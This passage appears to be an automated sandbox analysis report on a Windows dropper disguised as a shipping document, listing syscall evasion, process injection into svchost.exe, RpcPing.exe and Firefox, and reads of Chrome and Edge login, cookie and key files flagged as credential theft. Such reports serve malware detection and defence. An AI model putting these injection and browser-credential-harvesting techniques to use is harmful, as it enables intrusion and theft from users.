Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A750 mov eax, dword ptr fs:[00000030h]	2_2_02F6A750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F75B mov eax, dword ptr fs:[00000030h]	2_2_02F2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F75B mov eax, dword ptr fs:[00000030h]	2_2_02F2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F75B mov eax, dword ptr fs:[00000030h]	2_2_02F2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F75B mov eax, dword ptr fs:[00000030h]	2_2_02F2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F75B mov eax, dword ptr fs:[00000030h]	2_2_02F2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F75B mov eax, dword ptr fs:[00000030h]	2_2_02F2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F75B mov eax, dword ptr fs:[00000030h]	2_2_02F2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F75B mov eax, dword ptr fs:[00000030h]	2_2_02F2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F75B mov eax, dword ptr fs:[00000030h]	2_2_02F2F75B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE750 mov eax, dword ptr fs:[00000030h]	2_2_02FDE750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F63740 mov eax, dword ptr fs:[00000030h]	2_2_02F63740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6174A mov eax, dword ptr fs:[00000030h]	2_2_02F6174A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F59723 mov eax, dword ptr fs:[00000030h]	2_2_02F59723
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3471B mov eax, dword ptr fs:[00000030h]	2_2_02F3471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3471B mov eax, dword ptr fs:[00000030h]	2_2_02F3471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF717 mov eax, dword ptr fs:[00000030h]	2_2_02FEF717
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3D700 mov ecx, dword ptr fs:[00000030h]	2_2_02F3D700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF970B mov eax, dword ptr fs:[00000030h]	2_2_02FF970B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF970B mov eax, dword ptr fs:[00000030h]	2_2_02FF970B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B705 mov eax, dword ptr fs:[00000030h]	2_2_02F2B705
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B705 mov eax, dword ptr fs:[00000030h]	2_2_02F2B705
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B705 mov eax, dword ptr fs:[00000030h]	2_2_02F2B705
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B705 mov eax, dword ptr fs:[00000030h]	2_2_02F2B705
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5270D mov eax, dword ptr fs:[00000030h]	2_2_02F5270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5270D mov eax, dword ptr fs:[00000030h]	2_2_02F5270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5270D mov eax, dword ptr fs:[00000030h]	2_2_02F5270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF4FD mov eax, dword ptr fs:[00000030h]	2_2_02FEF4FD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F364F0 mov eax, dword ptr fs:[00000030h]	2_2_02F364F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A4F0 mov eax, dword ptr fs:[00000030h]	2_2_02F6A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A4F0 mov eax, dword ptr fs:[00000030h]	2_2_02F6A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F594FA mov eax, dword ptr fs:[00000030h]	2_2_02F594FA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F654E0 mov eax, dword ptr fs:[00000030h]	2_2_02F654E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E4EF mov eax, dword ptr fs:[00000030h]	2_2_02F6E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E4EF mov eax, dword ptr fs:[00000030h]	2_2_02F6E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F544D1 mov eax, dword ptr fs:[00000030h]	2_2_02F544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F544D1 mov eax, dword ptr fs:[00000030h]	2_2_02F544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F4D0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F4D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F514C9 mov eax, dword ptr fs:[00000030h]	2_2_02F514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F514C9 mov eax, dword ptr fs:[00000030h]	2_2_02F514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F514C9 mov eax, dword ptr fs:[00000030h]	2_2_02F514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F514C9 mov eax, dword ptr fs:[00000030h]	2_2_02F514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F514C9 mov eax, dword ptr fs:[00000030h]	2_2_02F514C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E4BC mov eax, dword ptr fs:[00000030h]	2_2_02F6E4BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F324A2 mov eax, dword ptr fs:[00000030h]	2_2_02F324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F324A2 mov ecx, dword ptr fs:[00000030h]	2_2_02F324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBD4A0 mov ecx, dword ptr fs:[00000030h]	2_2_02FBD4A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBD4A0 mov eax, dword ptr fs:[00000030h]	2_2_02FBD4A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBD4A0 mov eax, dword ptr fs:[00000030h]	2_2_02FBD4A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F644A8 mov eax, dword ptr fs:[00000030h]	2_2_02F644A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300B55F mov eax, dword ptr fs:[00000030h]	2_2_0300B55F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300B55F mov eax, dword ptr fs:[00000030h]	2_2_0300B55F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6B490 mov eax, dword ptr fs:[00000030h]	2_2_02F6B490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6B490 mov eax, dword ptr fs:[00000030h]	2_2_02F6B490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBC490 mov eax, dword ptr fs:[00000030h]	2_2_02FBC490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30485 mov ecx, dword ptr fs:[00000030h]	2_2_02F30485
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6648A mov eax, dword ptr fs:[00000030h]	2_2_02F6648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6648A mov eax, dword ptr fs:[00000030h]	2_2_02F6648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6648A mov eax, dword ptr fs:[00000030h]	2_2_02F6648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38470 mov eax, dword ptr fs:[00000030h]	2_2_02F38470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38470 mov eax, dword ptr fs:[00000030h]	2_2_02F38470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF478 mov eax, dword ptr fs:[00000030h]	2_2_02FEF478
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFA464 mov eax, dword ptr fs:[00000030h]	2_2_02FFA464
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6D450 mov eax, dword ptr fs:[00000030h]	2_2_02F6D450
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6D450 mov eax, dword ptr fs:[00000030h]	2_2_02F6D450
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3D454 mov eax, dword ptr fs:[00000030h]	2_2_02F3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3D454 mov eax, dword ptr fs:[00000030h]	2_2_02F3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3D454 mov eax, dword ptr fs:[00000030h]	2_2_02F3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3D454 mov eax, dword ptr fs:[00000030h]	2_2_02F3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3D454 mov eax, dword ptr fs:[00000030h]	2_2_02F3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3D454 mov eax, dword ptr fs:[00000030h]	2_2_02F3D454
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E45E mov eax, dword ptr fs:[00000030h]	2_2_02F5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E45E mov eax, dword ptr fs:[00000030h]	2_2_02F5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E45E mov eax, dword ptr fs:[00000030h]	2_2_02F5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E45E mov eax, dword ptr fs:[00000030h]	2_2_02F5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E45E mov eax, dword ptr fs:[00000030h]	2_2_02F5E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40445 mov eax, dword ptr fs:[00000030h]	2_2_02F40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40445 mov eax, dword ptr fs:[00000030h]	2_2_02F40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40445 mov eax, dword ptr fs:[00000030h]	2_2_02F40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40445 mov eax, dword ptr fs:[00000030h]	2_2_02F40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40445 mov eax, dword ptr fs:[00000030h]	2_2_02F40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40445 mov eax, dword ptr fs:[00000030h]	2_2_02F40445

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_004581F7 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_004581F7

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0042A364 SetUnhandledExceptionFilter,		0_2_0042A364
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0042A395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0042A395

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtSetInformationThread: Direct from: 0x779D6319	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtQueryInformationToken: Direct from: 0x779E2BCC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtOpenFile: Direct from: 0x779E2CEC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtNotifyChangeKey: Direct from: 0x779E3B4C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtCreateFile: Direct from: 0x779E2F0C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtAllocateVirtualMemory: Direct from: 0x779E2B0C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtOpenSection: Direct from: 0x779E2D2C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtQueryVolumeInformationFile: Direct from: 0x779E2E4C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtDeviceIoControlFile: Direct from: 0x779E2A0C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtQueryAttributesFile: Direct from: 0x779E2D8C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtSetInformationThread: Direct from: 0x779E2A6C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtCreateKey: Direct from: 0x779E2B8C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtClose: Direct from: 0x779E2A8C
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtProtectVirtualMemory: Direct from: 0x779E2EBC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtCreateUserProcess: Direct from: 0x779E363C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtQueryInformationProcess: Direct from: 0x779E2B46	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtResumeThread: Direct from: 0x779E2EDC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtWriteVirtualMemory: Direct from: 0x779E482C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtOpenKeyEx: Direct from: 0x779E2ABC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtAllocateVirtualMemory: Direct from: 0x779E480C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtDelayExecution: Direct from: 0x779E2CFC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtQuerySystemInformation: Direct from: 0x779E47EC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtReadFile: Direct from: 0x779E29FC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtQuerySystemInformation: Direct from: 0x779E2D1C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtAllocateVirtualMemory: Direct from: 0x779E2B1C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtResumeThread: Direct from: 0x779E35CC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtMapViewOfSection: Direct from: 0x779E2C3C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtWriteVirtualMemory: Direct from: 0x779E2D5C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtProtectVirtualMemory: Direct from: 0x779D7A4E	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtSetInformationProcess: Direct from: 0x779E2B7C	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtAllocateVirtualMemory: Direct from: 0x779E3BBC	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	NtReadVirtualMemory: Direct from: 0x779E2DAC	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\RpcPing.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\RpcPing.exe

Thread register set: target process: 1088

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\RpcPing.exe

Thread APC queued: target process: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 27F008

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00458C93 LogonUserW,

0_2_00458C93

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00403B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00403B4C

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00404A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00404A35

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00464EC9 mouse_event,

0_2_00464EC9

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\AWB NO. 077-57676135055.exe"	Jump to behavior
Source: C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe	Process created: C:\Windows\SysWOW64\RpcPing.exe "C:\Windows\SysWOW64\RpcPing.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

0_2_004581F7

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00464C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00464C03

Source: AWB NO. 077-57676135055.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: jFlHFdZgIYNZqR.exe, 00000003.00000000.18450391134.0000000001310000.00000002.00000001.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000003.00000002.23185597181.0000000001310000.00000002.00000001.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23186436511.00000000014F0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: AWB NO. 077-57676135055.exe, jFlHFdZgIYNZqR.exe, 00000003.00000000.18450391134.0000000001310000.00000002.00000001.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000003.00000002.23185597181.0000000001310000.00000002.00000001.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23186436511.00000000014F0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: jFlHFdZgIYNZqR.exe, 00000003.00000000.18450391134.0000000001310000.00000002.00000001.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000003.00000002.23185597181.0000000001310000.00000002.00000001.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23186436511.00000000014F0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: jFlHFdZgIYNZqR.exe, 00000003.00000000.18450391134.0000000001310000.00000002.00000001.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000003.00000002.23185597181.0000000001310000.00000002.00000001.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23186436511.00000000014F0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0042886B cpuid

0_2_0042886B

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_004350D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_004350D7

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00442230 GetUserNameW,

0_2_00442230

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0043418A GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_0043418A

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00404AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00404AFE

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.18533462079.0000000002D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23184804964.0000000002AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.18532632938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.23186298424.00000000050F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23186502535.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23186224923.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.18534395996.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\RpcPing.exe

